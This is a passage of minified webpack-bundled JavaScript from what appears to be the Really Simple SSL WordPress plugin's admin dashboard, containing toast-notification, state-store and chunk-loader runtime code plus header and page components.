0,[t].concat(s))}))};var r,s,o=t.produce(e,n,(function(e,t){r=e,s=t}));return"undefined"!=typeof Promise&&o instanceof Promise?o.then((function(e){return[e,r,s]})):[o,r,s]},"boolean"==typeof(null==e?void 0:e.useProxies)&&this.setUseProxies(e.useProxies),"boolean"==typeof(null==e?void 0:e.autoFreeze)&&this.setAutoFreeze(e.autoFreeze)}var t=e.prototype;return t.createDraft=function(e){o(e)||r(8),s(e)&&(e=N(e));var t=w(this),n=C(this,e,void 0);return n[V].C=!0,_(t),n},t.finishDraft=function(e,t){var n=(e&&e[V]).A;return b(n,t),O(void 0,n)},t.setAutoFreeze=function(e){this.D=e},t.setUseProxies=function(e){e&&!$&&r(20),this.O=e},t.applyPatches=function(e,t){var n;for(n=t.length-1;n>=0;n--){var r=t[n];if(0===r.path.length&&"replace"===r.op){e=r.value;break}}n>-1&&(t=t.slice(n+1));var o=v("Patches").$;return s(e)?o(e,t):this.produce(e,(function(e){return o(e,t)}))},e}(),G=new Q,X=G.produce;G.produceWithPatches.bind(G),G.setAutoFreeze.bind(G),G.setUseProxies.bind(G),G.applyPatches.bind(G),G.createDraft.bind(G),G.finishDraft.bind(G);const Z=X},9571:(e,t,n)=>{"use strict";n.r(t),n.d(t,{Bounce:()=>O,Flip:()=>P,Icons:()=>h,Slide:()=>T,ToastContainer:()=>A,Zoom:()=>I,collapseToast:()=>u,cssTransition:()=>d,toast:()=>j,useToast:()=>b,useToastContainer:()=>g});var r=n(1609),s=n(53);const o=e=>"number"==typeof e&&!isNaN(e),i=e=>"string"==typeof e,a=e=>"function"==typeof e,l=e=>i(e)||a(e)?e:null,c=e=>(0,r.isValidElement)(e)||i(e)||a(e)||o(e);function u(e,t,n){void 0===n&&(n=300);const{scrollHeight:r,style:s}=e;requestAnimationFrame((()=>{s.minHeight="initial",s.height=r+"px",s.transition=`all ${n}ms`,requestAnimationFrame((()=>{s.height="0",s.padding="0",s.margin="0",setTimeout(t,n)}))}))}function d(e){let{enter:t,exit:n,appendPosition:s=!1,collapse:o=!0,collapseDuration:i=300}=e;return function(e){let{children:a,position:l,preventExitTransition:c,done:d,nodeRef:f,isIn:m}=e;const p=s?`${t}--${l}`:t,h=s?`${n}--${l}`:n,g=(0,r.useRef)(0);return(0,r.useLayoutEffect)((()=>{const e=f.current,t=p.split(" "),n=r=>{r.target===f.current&&(e.dispatchEvent(new Event("d")),e.removeEventListener("animationend",n),e.removeEventListener("animationcancel",n),0===g.current&&"animationcancel"!==r.type&&e.classList.remove(...t))};e.classList.add(...t),e.addEventListener("animationend",n),e.addEventListener("animationcancel",n)}),[]),(0,r.useEffect)((()=>{const e=f.current,t=()=>{e.removeEventListener("animationend",t),o?u(e,d,i):d()};m||(c?t():(g.current=1,e.className+=` ${h}`,e.addEventListener("animationend",t)))}),[m]),r.createElement(r.Fragment,null,a)}}function f(e,t){return null!=e?{content:e.content,containerId:e.props.containerId,id:e.props.toastId,theme:e.props.theme,type:e.props.type,data:e.props.data||{},isLoading:e.props.isLoading,icon:e.props.icon,status:t}:{}}const m={list:new Map,emitQueue:new Map,on(e,t){return this.list.has(e)||this.list.set(e,[]),this.list.get(e).push(t),this},off(e,t){if(t){const n=this.list.get(e).filter((e=>e!==t));return this.list.set(e,n),this}return this.list.delete(e),this},cancelEmit(e){const t=this.emitQueue.get(e);return t&&(t.forEach(clearTimeout),this.emitQueue.delete(e)),this},emit(e){this.list.has(e)&&this.list.get(e).forEach((t=>{const n=setTimeout((()=>{t(...[].slice.call(arguments,1))}),0);this.emitQueue.has(e)||this.emitQueue.set(e,[]),this.emitQueue.get(e).push(n)}))}},p=e=>{let{theme:t,type:n,...s}=e;return r.createElement("svg",{viewBox:"0 0 24 24",width:"100%",height:"100%",fill:"colored"===t?"currentColor":`var(--toastify-icon-color-${n})`,...s})},h={info:function(e){return r.createElement(p,{...e},r.createElement("path",{d:"M12 0a12 12 0 1012 12A12.013 12.013 0 0012 0zm.25 5a1.5 1.5 0 11-1.5 1.5 1.5 1.5 0 011.5-1.5zm2.25 13.5h-4a1 1 0 010-2h.75a.25.25 0 00.25-.25v-4.5a.25.25 0 00-.25-.25h-.75a1 1 0 010-2h1a2 2 0 012 2v4.75a.25.25 0 00.25.25h.75a1 1 0 110 2z"}))},warning:function(e){return r.createElement(p,{...e},r.createElement("path",{d:"M23.32 17.191L15.438 2.184C14.728.833 13.416 0 11.996 0c-1.42 0-2.733.833-3.443 2.184L.533 17.448a4.744 4.744 0 000 4.368C1.243 23.167 2.555 24 3.975 24h16.05C22.22 24 24 22.044 24 19.632c0-.904-.251-1.746-.68-2.44zm-9.622 1.46c0 1.033-.724 1.823-1.698 1.823s-1.698-.79-1.698-1.822v-.043c0-1.028.724-1.822 1.698-1.822s1.698.79 1.698 1.822v.043zm.039-12.285l-.84 8.06c-.057.581-.408.943-.897.943-.49 0-.84-.367-.896-.942l-.84-8.065c-.057-.624.25-1.095.779-1.095h1.91c.528.005.84.476.784 1.1z"}))},success:function(e){return r.createElement(p,{...e},r.createElement("path",{d:"M12 0a12 12 0 1012 12A12.014 12.014 0 0012 0zm6.927 8.2l-6.845 9.289a1.011 1.011 0 01-1.43.188l-4.888-3.908a1 1 0 111.25-1.562l4.076 3.261 6.227-8.451a1 1 0 111.61 1.183z"}))},error:function(e){return r.createElement(p,{...e},r.createElement("path",{d:"M11.983 0a12.206 12.206 0 00-8.51 3.653A11.8 11.8 0 000 12.207 11.779 11.779 0 0011.8 24h.214A12.111 12.111 0 0024 11.791 11.766 11.766 0 0011.983 0zM10.5 16.542a1.476 1.476 0 011.449-1.53h.027a1.527 1.527 0 011.523 1.47 1.475 1.475 0 01-1.449 1.53h-.027a1.529 1.529 0 01-1.523-1.47zM11 12.5v-6a1 1 0 012 0v6a1 1 0 11-2 0z"}))},spinner:function(){return r.createElement("div",{className:"Toastify__spinner"})}};function g(e){const[,t]=(0,r.useReducer)((e=>e+1),0),[n,s]=(0,r.useState)([]),u=(0,r.useRef)(null),d=(0,r.useRef)(new Map).current,p=e=>-1!==n.indexOf(e),g=(0,r.useRef)({toastKey:1,displayedToast:0,count:0,queue:[],props:e,containerId:null,isToastActive:p,getToast:e=>d.get(e)}).current;function v(e){let{containerId:t}=e;const{limit:n}=g.props;!n||t&&g.containerId!==t||(g.count-=g.queue.length,g.queue=[])}function y(e){s((t=>null==e?[]:t.filter((t=>t!==e))))}function b(){const{toastContent:e,toastProps:t,staleId:n}=g.queue.shift();_(e,t,n)}function E(e,n){let{delay:s,staleId:p,...v}=n;if(!c(e)||function(e){return!u.current||g.props.enableMultiContainer&&e.containerId!==g.props.containerId||d.has(e.toastId)&&null==e.updateId}(v))return;const{toastId:E,updateId:w,data:S}=v,{props:O}=g,T=()=>y(E),I=null==w;I&&g.count++;const P={...O,style:O.toastStyle,key:g.toastKey++,...Object.fromEntries(Object.entries(v).filter((e=>{let[t,n]=e;return null!=n}))),toastId:E,updateId:w,data:S,closeToast:T,isIn:!1,className:l(v.className||O.toastClassName),bodyClassName:l(v.bodyClassName||O.bodyClassName),progressClassName:l(v.progressClassName||O.progressClassName),autoClose:!v.isLoading&&(A=v.autoClose,x=O.autoClose,!1===A||o(A)&&A>0?A:x),deleteToast(){const e=f(d.get(E),"removed");d.delete(E),m.emit(4,e);const n=g.queue.length;if(g.count=null==E?g.count-g.displayedToast:g.count-1,g.count<0&&(g.count=0),n>0){const e=null==E?g.props.limit:1;if(1===n||1===e)g.displayedToast++,b();else{const t=e>n?n:e;g.displayedToast=t;for(let e=0;e<t;e++)b()}}else t()}};var A,x;P.iconOut=function(e){let{theme:t,type:n,isLoading:s,icon:l}=e,c=null;const u={theme:t,type:n};return!1===l||(a(l)?c=l(u):(0,r.isValidElement)(l)?c=(0,r.cloneElement)(l,u):i(l)||o(l)?c=l:s?c=h.spinner():(e=>e in h)(n)&&(c=h[n](u))),c}(P),a(v.onOpen)&&(P.onOpen=v.onOpen),a(v.onClose)&&(P.onClose=v.onClose),P.closeButton=O.closeButton,!1===v.closeButton||c(v.closeButton)?P.closeButton=v.closeButton:!0===v.closeButton&&(P.closeButton=!c(O.closeButton)||O.closeButton);let M=e;(0,r.isValidElement)(e)&&!i(e.type)?M=(0,r.cloneElement)(e,{closeToast:T,toastProps:P,data:S}):a(e)&&(M=e({closeToast:T,toastProps:P,data:S})),O.limit&&O.limit>0&&g.count>O.limit&&I?g.queue.push({toastContent:M,toastProps:P,staleId:p}):o(s)?setTimeout((()=>{_(M,P,p)}),s):_(M,P,p)}function _(e,t,n){const{toastId:r}=t;n&&d.delete(n);const o={content:e,props:t};d.set(r,o),s((e=>[...e,r].filter((e=>e!==n)))),m.emit(4,f(o,null==o.props.updateId?"added":"updated"))}return(0,r.useEffect)((()=>(g.containerId=e.containerId,m.cancelEmit(3).on(0,E).on(1,(e=>u.current&&y(e))).on(5,v).emit(2,g),()=>{d.clear(),m.emit(3,g)})),[]),(0,r.useEffect)((()=>{g.props=e,g.isToastActive=p,g.displayedToast=n.length})),{getToastToRender:function(t){const n=new Map,r=Array.from(d.values());return e.newestOnTop&&r.reverse(),r.forEach((e=>{const{position:t}=e.props;n.has(t)||n.set(t,[]),n.get(t).push(e)})),Array.from(n,(e=>t(e[0],e[1])))},containerRef:u,isToastActive:p}}function v(e){return e.targetTouches&&e.targetTouches.length>=1?e.targetTouches[0].clientX:e.clientX}function y(e){return e.targetTouches&&e.targetTouches.length>=1?e.targetTouches[0].clientY:e.clientY}function b(e){const[t,n]=(0,r.useState)(!1),[s,o]=(0,r.useState)(!1),i=(0,r.useRef)(null),l=(0,r.useRef)({start:0,x:0,y:0,delta:0,removalDistance:0,canCloseOnClick:!0,canDrag:!1,boundingRect:null,didMove:!1}).current,c=(0,r.useRef)(e),{autoClose:u,pauseOnHover:d,closeToast:f,onClick:m,closeOnClick:p}=e;function h(t){if(e.draggable){"touchstart"===t.nativeEvent.type&&t.nativeEvent.preventDefault(),l.didMove=!1,document.addEventListener("mousemove",_),document.addEventListener("mouseup",w),document.addEventListener("touchmove",_),document.addEventListener("touchend",w);const n=i.current;l.canCloseOnClick=!0,l.canDrag=!0,l.boundingRect=n.getBoundingClientRect(),n.style.transition="",l.x=v(t.nativeEvent),l.y=y(t.nativeEvent),"x"===e.draggableDirection?(l.start=l.x,l.removalDistance=n.offsetWidth*(e.draggablePercent/100)):(l.start=l.y,l.removalDistance=n.offsetHeight*(80===e.draggablePercent?1.5*e.draggablePercent:e.draggablePercent/100))}}function g(t){if(l.boundingRect){const{top:n,bottom:r,left:s,right:o}=l.boundingRect;"touchend"!==t.nativeEvent.type&&e.pauseOnHover&&l.x>=s&&l.x<=o&&l.y>=n&&l.y<=r?E():b()}}function b(){n(!0)}function E(){n(!1)}function _(n){const r=i.current;l.canDrag&&r&&(l.didMove=!0,t&&E(),l.x=v(n),l.y=y(n),l.delta="x"===e.draggableDirection?l.x-l.start:l.y-l.start,l.start!==l.x&&(l.canCloseOnClick=!1),r.style.transform=`translate${e.draggableDirection}(${l.delta}px)`,r.style.opacity=""+(1-Math.abs(l.delta/l.removalDistance)))}function w(){document.removeEventListener("mousemove",_),document.removeEventListener("mouseup",w),document.removeEventListener("touchmove",_),document.removeEventListener("touchend",w);const t=i.current;if(l.canDrag&&l.didMove&&t){if(l.canDrag=!1,Math.abs(l.delta)>l.removalDistance)return o(!0),void e.closeToast();t.style.transition="transform 0.2s, opacity 0.2s",t.style.transform=`translate${e.draggableDirection}(0)`,t.style.opacity="1"}}(0,r.useEffect)((()=>{c.current=e})),(0,r.useEffect)((()=>(i.current&&i.current.addEventListener("d",b,{once:!0}),a(e.onOpen)&&e.onOpen((0,r.isValidElement)(e.children)&&e.children.props),()=>{const e=c.current;a(e.onClose)&&e.onClose((0,r.isValidElement)(e.children)&&e.children.props)})),[]),(0,r.useEffect)((()=>(e.pauseOnFocusLoss&&(document.hasFocus()||E(),window.addEventListener("focus",b),window.addEventListener("blur",E)),()=>{e.pauseOnFocusLoss&&(window.removeEventListener("focus",b),window.removeEventListener("blur",E))})),[e.pauseOnFocusLoss]);const S={onMouseDown:h,onTouchStart:h,onMouseUp:g,onTouchEnd:g};return u&&d&&(S.onMouseEnter=E,S.onMouseLeave=b),p&&(S.onClick=e=>{m&&m(e),l.canCloseOnClick&&f()}),{playToast:b,pauseToast:E,isRunning:t,preventExitTransition:s,toastRef:i,eventHandlers:S}}function E(e){let{closeToast:t,theme:n,ariaLabel:s="close"}=e;return r.createElement("button",{className:`Toastify__close-button Toastify__close-button--${n}`,type:"button",onClick:e=>{e.stopPropagation(),t(e)},"aria-label":s},r.createElement("svg",{"aria-hidden":"true",viewBox:"0 0 14 16"},r.createElement("path",{fillRule:"evenodd",d:"M7.71 8.23l3.75 3.75-1.48 1.48-3.75-3.75-3.75 3.75L1 11.98l3.75-3.75L1 4.48 2.48 3l3.75 3.75L9.98 3l1.48 1.48-3.75 3.75z"})))}function _(e){let{delay:t,isRunning:n,closeToast:o,type:i="default",hide:l,className:c,style:u,controlledProgress:d,progress:f,rtl:m,isIn:p,theme:h}=e;const g=l||d&&0===f,v={...u,animationDuration:`${t}ms`,animationPlayState:n?"running":"paused",opacity:g?0:1};d&&(v.transform=`scaleX(${f})`);const y=(0,s.A)("Toastify__progress-bar",d?"Toastify__progress-bar--controlled":"Toastify__progress-bar--animated",`Toastify__progress-bar-theme--${h}`,`Toastify__progress-bar--${i}`,{"Toastify__progress-bar--rtl":m}),b=a(c)?c({rtl:m,type:i,defaultClassName:y}):(0,s.A)(y,c);return r.createElement("div",{role:"progressbar","aria-hidden":g?"true":"false","aria-label":"notification timer",className:b,style:v,[d&&f>=1?"onTransitionEnd":"onAnimationEnd"]:d&&f<1?null:()=>{p&&o()}})}const w=e=>{const{isRunning:t,preventExitTransition:n,toastRef:o,eventHandlers:i}=b(e),{closeButton:l,children:c,autoClose:u,onClick:d,type:f,hideProgressBar:m,closeToast:p,transition:h,position:g,className:v,style:y,bodyClassName:w,bodyStyle:S,progressClassName:O,progressStyle:T,updateId:I,role:P,progress:A,rtl:x,toastId:M,deleteToast:k,isIn:C,isLoading:N,iconOut:L,closeOnClick:D,theme:F}=e,R=(0,s.A)("Toastify__toast",`Toastify__toast-theme--${F}`,`Toastify__toast--${f}`,{"Toastify__toast--rtl":x},{"Toastify__toast--close-on-click":D}),j=a(v)?v({rtl:x,position:g,type:f,defaultClassName:R}):(0,s.A)(R,v),B=!!A||!u,$={closeToast:p,type:f,theme:F};let z=null;return!1===l||(z=a(l)?l($):(0,r.isValidElement)(l)?(0,r.cloneElement)(l,$):E($)),r.createElement(h,{isIn:C,done:k,position:g,preventExitTransition:n,nodeRef:o},r.createElement("div",{id:M,onClick:d,className:j,...i,style:y,ref:o},r.createElement("div",{...C&&{role:P},className:a(w)?w({type:f}):(0,s.A)("Toastify__toast-body",w),style:S},null!=L&&r.createElement("div",{className:(0,s.A)("Toastify__toast-icon",{"Toastify--animate-icon Toastify__zoom-enter":!N})},L),r.createElement("div",null,c)),z,r.createElement(_,{...I&&!B?{key:`pb-${I}`}:{},rtl:x,theme:F,delay:u,isRunning:t,isIn:C,closeToast:p,hide:m,type:f,style:T,className:O,controlledProgress:B,progress:A||0})))},S=function(e,t){return void 0===t&&(t=!1),{enter:`Toastify--animate Toastify__${e}-enter`,exit:`Toastify--animate Toastify__${e}-exit`,appendPosition:t}},O=d(S("bounce",!0)),T=d(S("slide",!0)),I=d(S("zoom")),P=d(S("flip")),A=(0,r.forwardRef)(((e,t)=>{const{getToastToRender:n,containerRef:o,isToastActive:i}=g(e),{className:c,style:u,rtl:d,containerId:f}=e;function m(e){const t=(0,s.A)("Toastify__toast-container",`Toastify__toast-container--${e}`,{"Toastify__toast-container--rtl":d});return a(c)?c({position:e,rtl:d,defaultClassName:t}):(0,s.A)(t,l(c))}return(0,r.useEffect)((()=>{t&&(t.current=o.current)}),[]),r.createElement("div",{ref:o,className:"Toastify",id:f},n(((e,t)=>{const n=t.length?{...u}:{...u,pointerEvents:"none"};return r.createElement("div",{className:m(e),style:n,key:`container-${e}`},t.map(((e,n)=>{let{content:s,props:o}=e;return r.createElement(w,{...o,isIn:i(o.toastId),style:{...o.style,"--nth":n+1,"--len":t.length},key:`toast-${o.key}`},s)})))})))}));A.displayName="ToastContainer",A.defaultProps={position:"top-right",transition:O,autoClose:5e3,closeButton:E,pauseOnHover:!0,pauseOnFocusLoss:!0,closeOnClick:!0,draggable:!0,draggablePercent:80,draggableDirection:"x",role:"alert",theme:"light"};let x,M=new Map,k=[],C=1;function N(){return""+C++}function L(e){return e&&(i(e.toastId)||o(e.toastId))?e.toastId:N()}function D(e,t){return M.size>0?m.emit(0,e,t):k.push({content:e,options:t}),t.toastId}function F(e,t){return{...t,type:t&&t.type||e,toastId:L(t)}}function R(e){return(t,n)=>D(t,F(e,n))}function j(e,t){return D(e,F("default",t))}j.loading=(e,t)=>D(e,F("default",{isLoading:!0,autoClose:!1,closeOnClick:!1,closeButton:!1,draggable:!1,...t})),j.promise=function(e,t,n){let r,{pending:s,error:o,success:l}=t;s&&(r=i(s)?j.loading(s,n):j.loading(s.render,{...n,...s}));const c={isLoading:null,autoClose:null,closeOnClick:null,closeButton:null,draggable:null},u=(e,t,s)=>{if(null==t)return void j.dismiss(r);const o={type:e,...c,...n,data:s},a=i(t)?{render:t}:t;return r?j.update(r,{...o,...a}):j(a.render,{...o,...a}),s},d=a(e)?e():e;return d.then((e=>u("success",l,e))).catch((e=>u("error",o,e))),d},j.success=R("success"),j.info=R("info"),j.error=R("error"),j.warning=R("warning"),j.warn=j.warning,j.dark=(e,t)=>D(e,F("default",{theme:"dark",...t})),j.dismiss=e=>{M.size>0?m.emit(1,e):k=k.filter((t=>null!=e&&t.options.toastId!==e))},j.clearWaitingQueue=function(e){return void 0===e&&(e={}),m.emit(5,e)},j.isActive=e=>{let t=!1;return M.forEach((n=>{n.isToastActive&&n.isToastActive(e)&&(t=!0)})),t},j.update=function(e,t){void 0===t&&(t={}),setTimeout((()=>{const n=function(e,t){let{containerId:n}=t;const r=M.get(n||x);return r&&r.getToast(e)}(e,t);if(n){const{props:r,content:s}=n,o={delay:100,...r,...t,toastId:t.toastId||e,updateId:N()};o.toastId!==e&&(o.staleId=e);const i=o.render||s;delete o.render,D(i,o)}}),0)},j.done=e=>{j.update(e,{progress:1})},j.onChange=e=>(m.on(4,e),()=>{m.off(4,e)}),j.POSITION={TOP_LEFT:"top-left",TOP_RIGHT:"top-right",TOP_CENTER:"top-center",BOTTOM_LEFT:"bottom-left",BOTTOM_RIGHT:"bottom-right",BOTTOM_CENTER:"bottom-center"},j.TYPE={INFO:"info",SUCCESS:"success",WARNING:"warning",ERROR:"error",DEFAULT:"default"},m.on(2,(e=>{x=e.containerId||e,M.set(x,e),k.forEach((e=>{m.emit(0,e.content,e.options)})),k=[]})).on(3,(e=>{M.delete(e.containerId||e),0===M.size&&m.off(0).off(1).off(5)}))},1621:(e,t,n)=>{"use strict";n.d(t,{vt:()=>d});const r=e=>{let t;const n=new Set,r=(e,r)=>{const s="function"==typeof e?e(t):e;if(!Object.is(s,t)){const e=t;t=(null!=r?r:"object"!=typeof s||null===s)?s:Object.assign({},t,s),n.forEach((n=>n(t,e)))}},s=()=>t,o={setState:r,getState:s,getInitialState:()=>i,subscribe:e=>(n.add(e),()=>n.delete(e)),destroy:()=>{console.warn("[DEPRECATED] The `destroy` method will be unsupported in a future version. Instead use unsubscribe function returned by subscribe. Everything will be garbage-collected if store is garbage-collected."),n.clear()}},i=t=e(r,s,o);return o};var s=n(1609),o=n(9242);const{useDebugValue:i}=s,{useSyncExternalStoreWithSelector:a}=o;let l=!1;const c=e=>e,u=e=>{"function"!=typeof e&&console.warn("[DEPRECATED] Passing a vanilla store will be unsupported in a future version. Instead use `import { useStore } from 'zustand'`.");const t="function"==typeof e?(e=>e?r(e):r)(e):e,n=(e,n)=>function(e,t=c,n){n&&!l&&(console.warn("[DEPRECATED] Use `createWithEqualityFn` instead of `create` or use `useStoreWithEqualityFn` instead of `useStore`. They can be imported from 'zustand/traditional'. https://github.com/pmndrs/zustand/discussions/1937"),l=!0);const r=a(e.subscribe,e.getState,e.getServerState||e.getInitialState,t,n);return i(r),r}(t,e,n);return Object.assign(n,t),n},d=e=>e?u(e):u}},r={};function s(e){var t=r[e];if(void 0!==t)return t.exports;var o=r[e]={exports:{}};return n[e].call(o.exports,o,o.exports,s),o.exports}s.m=n,s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var n in t)s.o(t,n)&&!s.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},s.f={},s.e=e=>Promise.all(Object.keys(s.f).reduce(((t,n)=>(s.f[n](e,t),t)),[])),s.u=e=>e+"."+{43:"3e98c0eeb2e262efa304",129:"cebe3ab8c4a7c3479015",439:"bfb64c5def4e403805bc",483:"426b909c845c79e7eec5",519:"cd578c0795e645866066",573:"d6decd01a88d3b0dcf3b",778:"60eedd33628297ab6b97",814:"bf34d42ff1e29e8eb70d",838:"c841004b517cdf3abd86",928:"a4828756026ad32cf7bc"}[e]+".js",s.miniCssF=e=>e+".css",s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),e={},t="really-simple-ssl:",s.l=(n,r,o,i)=>{if(e[n])e[n].push(r);else{var a,l;if(void 0!==o)for(var c=document.getElementsByTagName("script"),u=0;u<c.length;u++){var d=c[u];if(d.getAttribute("src")==n||d.getAttribute("data-webpack")==t+o){a=d;break}}a||(l=!0,(a=document.createElement("script")).charset="utf-8",a.timeout=120,s.nc&&a.setAttribute("nonce",s.nc),a.setAttribute("data-webpack",t+o),a.src=n),e[n]=[r];var f=(t,r)=>{a.onerror=a.onload=null,clearTimeout(m);var s=e[n];if(delete e[n],a.parentNode&&a.parentNode.removeChild(a),s&&s.forEach((e=>e(r))),t)return t(r)},m=setTimeout(f.bind(null,void 0,{type:"timeout",target:a}),12e4);a.onerror=f.bind(null,a.onerror),a.onload=f.bind(null,a.onload),l&&document.head.appendChild(a)}},s.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{var e;s.g.importScripts&&(e=s.g.location+"");var t=s.g.document;if(!e&&t&&(t.currentScript&&"SCRIPT"===t.currentScript.tagName.toUpperCase()&&(e=t.currentScript.src),!e)){var n=t.getElementsByTagName("script");if(n.length)for(var r=n.length-1;r>-1&&(!e||!/^http(s?):/.test(e));)e=n[r--].src}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),s.p=e})(),(()=>{if("undefined"!=typeof document){var e={57:0};s.f.miniCss=(t,n)=>{e[t]?n.push(e[t]):0!==e[t]&&{814:1,928:1}[t]&&n.push(e[t]=(e=>new Promise(((t,n)=>{var r=s.miniCssF(e),o=s.p+r;if(((e,t)=>{for(var n=document.getElementsByTagName("link"),r=0;r<n.length;r++){var s=(i=n[r]).getAttribute("data-href")||i.getAttribute("href");if("stylesheet"===i.rel&&(s===e||s===t))return i}var o=document.getElementsByTagName("style");for(r=0;r<o.length;r++){var i;if((s=(i=o[r]).getAttribute("data-href"))===e||s===t)return i}})(r,o))return t();((e,t,n,r,o)=>{var i=document.createElement("link");i.rel="stylesheet",i.type="text/css",s.nc&&(i.nonce=s.nc),i.onerror=i.onload=n=>{if(i.onerror=i.onload=null,"load"===n.type)r();else{var s=n&&n.type,a=n&&n.target&&n.target.href||t,l=new Error("Loading CSS chunk "+e+" failed.\n("+s+": "+a+")");l.name="ChunkLoadError",l.code="CSS_CHUNK_LOAD_FAILED",l.type=s,l.request=a,i.parentNode&&i.parentNode.removeChild(i),o(l)}},i.href=t,document.head.appendChild(i)})(e,o,0,t,n)})))(t).then((()=>{e[t]=0}),(n=>{throw delete e[t],n})))}}})(),(()=>{var e={57:0};s.f.j=(t,n)=>{var r=s.o(e,t)?e[t]:void 0;if(0!==r)if(r)n.push(r[2]);else{var o=new Promise(((n,s)=>r=e[t]=[n,s]));n.push(r[2]=o);var i=s.p+s.u(t),a=new Error;s.l(i,(n=>{if(s.o(e,t)&&(0!==(r=e[t])&&(e[t]=void 0),r)){var o=n&&("load"===n.type?"missing":n.type),i=n&&n.target&&n.target.src;a.message="Loading chunk "+t+" failed.\n("+o+": "+i+")",a.name="ChunkLoadError",a.type=o,a.request=i,r[1](a)}}),"chunk-"+t,t)}};var t=(t,n)=>{var r,o,i=n[0],a=n[1],l=n[2],c=0;if(i.some((t=>0!==e[t]))){for(r in a)s.o(a,r)&&(s.m[r]=a[r]);l&&l(s)}for(t&&t(n);c<i.length;c++)o=i[c],s.o(e,o)&&e[o]&&e[o][0](),e[o]=0},n=self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[];n.forEach(t.bind(null,0)),n.push=t.bind(null,n.push.bind(n))})(),s.nc=void 0,(()=>{"use strict";var e=s(1609),t=s(6087),n=s(7723),r=s(1446),o=s(2043),i=s(6155);const a=()=>{const{menu:s,selectedMainMenuItem:a,fetchMenuData:l}=(0,o.A)();let c=rsssl_settings.plugin_url;(0,t.useEffect)((()=>{l()}),[]);let u=s.filter((e=>null!==e));return(0,e.createElement)("div",{className:"rsssl-header-container"},(0,e.createElement)("div",{className:"rsssl-header"},(0,e.createElement)("img",{className:"rsssl-logo",src:c+"assets/img/really-simple-security-logo.svg",alt:"Really Simple Security logo"}),(0,e.createElement)("div",{className:"rsssl-header-left"},(0,e.createElement)("nav",{className:"rsssl-header-menu"},(0,e.createElement)("ul",null,u.map(((t,n)=>(0,e.createElement)("li",{key:"menu-"+n},(0,e.createElement)("a",{className:a===t.id?"active":"",href:"#"+t.id.toString()},t.title))))))),(0,e.createElement)("div",{className:"rsssl-header-right"},!rsssl_settings.le_generated_by_rsssl&&(0,e.createElement)("a",{className:"rsssl-knowledge-base-link",href:(0,i.g)("https://really-simple-ssl.com/knowledge-base"),target:"_blank",rel:"noopener noreferrer"},(0,n.__)("Documentation","really-simple-ssl")),rsssl_settings.le_generated_by_rsssl&&(0,e.createElement)("a",{href:rsssl_settings.letsencrypt_url},(0,n.__)("Let's Encrypt","really-simple-ssl")),rsssl_settings.pro_plugin_active&&(0,e.createElement)(e.Fragment,null,(()=>{const t=rsssl_settings.dashboard_url+"#settings&highlightfield=premium_support";return(0,e.createElement)("a",{href:t,className:"button button-black",target:"_self",rel:"noopener noreferrer"},(0,n.__)("Support","really-simple-ssl"))})()),!rsssl_settings.pro_plugin_active&&(0,e.createElement)("a",{href:rsssl_settings.upgrade_link,className:"button button-black",target:"_blank",rel:"noopener noreferrer"},(0,n.__)("Go Pro","really-simple-ssl")))),(0,e.createElement)(r.default,{className:"rsssl-wizard-notices"}))};var l=s(3972);const c=t=>(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"rsssl-header-container"},(0,e.createElement)("div",{className:"rsssl-header"},(0,e.createElement)("img",{className:"rsssl-logo",src:rsssl_settings.plugin_url+"assets/img/really-simple-security-logo.svg",alt:"Really Simple Security logo"}))),(0,e.createElement)("div",{className:"rsssl-content-area rsssl-grid rsssl-dashboard rsssl-page-placeholder"},(0,e.createElement)("div",{className:"rsssl-grid-item  rsssl-column-2 rsssl-row-2 "},t.error&&(0,e.createElement)(l.A,{error:t.error})),(0,e.createElement)("div",{className:"rsssl-grid-item rsssl-row-2"}),(0,e.createElement)("div",{className:"rsssl-grid-item rsssl-row-2"}),(0,e.createElement)("div",{className:"rsssl-grid-item  rsssl-column-2"})));var u=s(5511),d=s(6975),f=s(7283),m=s(5319),p=s(5170);const h=()=>{const{error:r,fields:i,changedFields:l,fetchFieldsData:h,updateFieldsData:g,fieldsLoaded:v}=(0,d.A)(),{showOnboardingModal:y,fetchOnboardingModalStatus:b,modalStatusLoaded:E}=(0,f.A)(),{selectedMainMenuItem:_,fetchMenuData:w}=(0,o.A)(),{showModal:S}=(0,m.A)(),[O,T]=(0,t.useState)(null),[I,P]=(0,t.useState)(null),[A,x]=(0,t.useState)(null),[M,k]=(0,t.useState)(null),[C,N]=(0,t.useState)(null);(0,t.useEffect)((()=>{E||b()}),[]),(0,t.useEffect)((()=>{rsssl_settings.json_translations.forEach((e=>{let t=JSON.parse(e),r=t.locale_data["really-simple-ssl"]||t.locale_data.messages;r[""].domain="really-simple-ssl",(0,n.setLocaleData)(r,"really-simple-ssl")}))}),[]),(0,t.useEffect)((()=>{"dashboard"!==_&&(O||Promise.all([s.e(519),s.e(838),s.e(778)]).then(s.bind(s,9778)).then((({default:e})=>{T((()=>e))})),A||Promise.resolve().then(s.bind(s,1446)).then((({default:e})=>{x((()=>e))})),M||s.e(483).then(s.bind(s,5483)).then((({default:e})=>{k((()=>e))}))),"dashboard"!==_||I||Promise.all([s.e(519),s.e(838),s.e(43)]).then(s.bind(s,8043)).then((async({default:e})=>{P((()=>e))}))}),[_]);const[L,D]=(0,t.useState)(null);(0,t.useEffect)((()=>{y&&!L&&Promise.all([s.e(519),s.e(838),s.e(573),s.e(814)]).then(s.bind(s,814)).then((({default:e})=>{D((()=>e))}))}),[y]);const[F,R]=(0,t.useState)(null);return(0,t.useEffect)((()=>{S&&!F&&Promise.all([s.e(519),s.e(439)]).then(s.bind(s,1439)).then((({default:e})=>{R((()=>e))}))}),[S]),(0,t.useEffect)((()=>{Promise.resolve().then(s.bind(s,9571)).then((e=>{const 